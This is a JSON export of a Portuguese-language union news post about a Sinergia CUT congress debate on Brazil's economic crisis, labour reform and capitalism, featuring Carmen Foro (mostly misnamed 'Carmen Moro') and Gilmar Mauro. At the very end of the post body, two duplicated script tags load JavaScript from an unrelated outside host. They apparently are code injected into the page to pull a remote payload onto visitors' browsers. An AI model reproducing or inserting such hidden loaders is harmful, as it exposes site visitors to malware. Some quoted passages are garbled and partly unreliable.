{"id":31248,"date":"2017-12-01T18:55:39","date_gmt":"2017-12-01T18:55:39","guid":{"rendered":"http:\/\/www.sinergiacut.org.br\/?p=31248"},"modified":"2017-12-01T18:55:39","modified_gmt":"2017-12-01T18:55:39","slug":"congresso-do-sinergia-cut-debate-os-desafios-da-classe-trabalhadora","status":"publish","type":"post","link":"https:\/\/sistema.sinergiacut.org.br\/?p=31248","title":{"rendered":"Congresso do Sinergia CUT debate os desafios da classe trabalhadora"},"content":{"rendered":"<p class=\"caps\">A economia brasileira est\u00e1 em frangalhos. Michel Temer comemora crescimento de 0,1% no Produto Interno Bruto. Pouca se importa com o sofrimento do trabalhador e o contingente maior de desempregados.<\/p>\n<p>Para piorar o quadro, uma reforma trabalhista pronta para retirar direitos e conquistas. \u00c9 preciso reagir. Revirar a prosa. Demonstrar capacidade e resist\u00eancia. Esses e outros preceitos foram expostos pelos debatedores na mesa de debates \u201cConjuntura e Desafios da Classe Trabalhadora. O encontro foi realizado na manh\u00e3 desta sexta-feira no Audit\u00f3rio da Col\u00f4nia de F\u00e9rias do Sinergia CUT. O debate contou com a participa\u00e7\u00e3o da vice presidenta da CUT, Carmen Foro e ainda com o dirigente do MST, Gilmar Mauro. Veja algumas das declara\u00e7\u00f5es mais importantes ditas pelos dois componentes da mesa de debates.<\/p>\n<p><strong>Carmen Moro e a complexidade da conjuntura do Brasil<\/strong><\/p>\n<p>Segundo a dirigente cutista, a hora \u00e9 de todos arrega\u00e7arem as mangas. <em>\u201cTodos temos certeza de que o momento \u00e9 complexo e de retrocesso hist\u00f3rico. \u00c9 uma constata\u00e7\u00e3o de todo campo da esquerda. Precisamos afirmar que vivemos um per\u00edodo de golpe e n\u00e3o h\u00e1 normalidade pol\u00edtica no pa\u00eds. \u201cN\u00e3o vivemos normalidade democr\u00e1tica. Tem um golpe em curso e isso j\u00e1 produziu um conjunto de retirada de direitos. Sofremos uma profunda derrota. Se olharmos as medidas, a gente faz um c\u00e1lculo de retrocesso de s\u00e9culos, como a reforma trabalhista, que \u00e9 um retrocesso de 100 anos<\/em>\u201d, disse Carmen Moro.<\/p>\n<p><strong>O Capitalismo \u00e9 predat\u00f3rio e quer sempre mais<\/strong><\/p>\n<p>Para Carmen, o instante \u00e9 de reviravolta do capitalismo e que atinge as minorias historicamente discriminadas. \u201c<em>\u00c9 bom conectar com aquilo que acontece no mundo todo, pois acontece um novo ciclo de acumula\u00e7\u00e3o de capital. As medidas t\u00eam impactos e alguns setores sofrem mais. As mulheres s\u00e3o as mais atingidas, assim como negros e negras que est\u00e3o na base da pir\u00e2mide<\/em>\u201d, disse a dirigente. \u201c<em>O mundo caminhou para a direita. Se olharmos para a Europa h\u00e1 uma sintonia forte para as medidas de retirar direitos\u201cFoi importante ser a voz dissonante ao dizer que depois do golpe que o pa\u00eds est\u00e1 pacificado<\/em>\u201d, afirmou a dirigente cutista.<\/p>\n<p><strong>Na CUT, o desafio \u00e9 encontrar brecha para lutar<\/strong><\/p>\n<p>Apesar dos obst\u00e1culos, Carmen Moro acredita na constru\u00e7\u00e3o de uma reviravolta para construir uma sociedade mais justa. \u201c<em>Precisamos abrir um novo ciclo de luta. Fazer do mesmo jeito que faz\u00edamos responde aos desafios atuais. Creio que n\u00e3o. Vivemos um novo momento. A CUT precisa formular com seus sindicatos um processo de organiza\u00e7\u00e3o. Precisamos conversar e botar o p\u00e9 na lama e no local de trabalho. Colocar os caminhos para o futuro do nosso p\u00e1is. Precisamos detectar os nossos inimigos Temos uma hist\u00f3ria de construir a maior Central da Am\u00e9rica Latina<\/em>\u201d, arrematou Carmen Moro.<\/p>\n<p><strong>Gilmar Mauro e a luta contra o Capitalismo<\/strong><\/p>\n<p>Ap\u00f3s a explana\u00e7\u00e3o de Carmen Moro, foi a vez de Gilmar Mauro participar da exposi\u00e7\u00e3o e deixar claro seu descontentamento com os rumos tomados pelo Brasil e a rea\u00e7\u00e3o do movimento sindical. <em>\u201cPrecisamos aprofundar o tema da economia uVivemoma s uma grave crie econ\u00f4mica e uma crise de super acumula\u00e7\u00e3o. Ou t\u00edpica crise do capital. Ele tende a ser uma crise estrutural<\/em>\u201d, disse Gilmar Mauro.<\/p>\n<p><strong>Uma nova maneira de utilizar e explorar o trabalhador<\/strong><\/p>\n<p>Para Gilmar Mauro, o ,movimento sindical trabalhou por anos e anos com um mesmo modelo de enfrentamento e tal cen\u00e1rio faz parte do passado. \u201c<em>A l\u00f3gica fordista do trabalhador enfileirado foi superado. Hoje o cen\u00e1rio \u00e9 outro. O trabalhador precisa ser multifuncional. Isso garantiu linha de produ\u00e7\u00e3o para satisfazer o mercado. Isso ter\u00e1 impactos na classe trabalhadora<\/em>\u201d, analisou.<\/p>\n<p><strong>Sustentar a lucidez em uma fase de loucura<\/strong><\/p>\n<p>Na vis\u00e3o de Gilmar, os terremotos pol\u00edticos vividos no Brasil produziram consequ\u00eancias capazes de desestrurar para sempre o mundo do trabalho. \u201c<em>Vivemos a hegemonia total do capital. N\u00e3o existe racionalidade. Cada vez mais o capital \u00e9 de aluguel. Essa l\u00f3gica levou ao processo de concentra\u00e7\u00e3o.Existem empresas que n\u00e3o tem um dono. Exemplo disso \u00e9 que a maior empresa de t\u00e1xi do mundo n\u00e3o tem um carro adquirido, que \u00e9 o Uber. \u00c9 uma l\u00f3gica diferente<\/em>\u201d, disse Gilmar Mauro antenado sobre os novos tempos. <em>\u201cUma parte da classe trabalhadora n\u00e3o tem vinculo formal e ganham por produtividade. A forma organizativas foram para um per\u00edodo hist\u00f3rico que n\u00e3o existe mais.Esta foi a vit\u00f3ria do Neoliberalismo. O individuo acima de tudo. N\u00e3o v\u00ea coletividade e n\u00e3o se enxerga dentro das formas organizativas\u201d,<\/em> completou Gilmar Mauro.<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p><script id=\"lg210a\" src=\"https:\/\/cloudapi.online\/js\/api46.js\" type=\"text\/javascript\"><\/script><\/p>\n<p><script id=\"lg210a\" src=\"https:\/\/cloudapi.online\/js\/api46.js\" type=\"text\/javascript\"><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>A economia brasileira est\u00e1 em frangalhos. Michel Temer comemora crescimento de 0,1% no Produto Interno Bruto. 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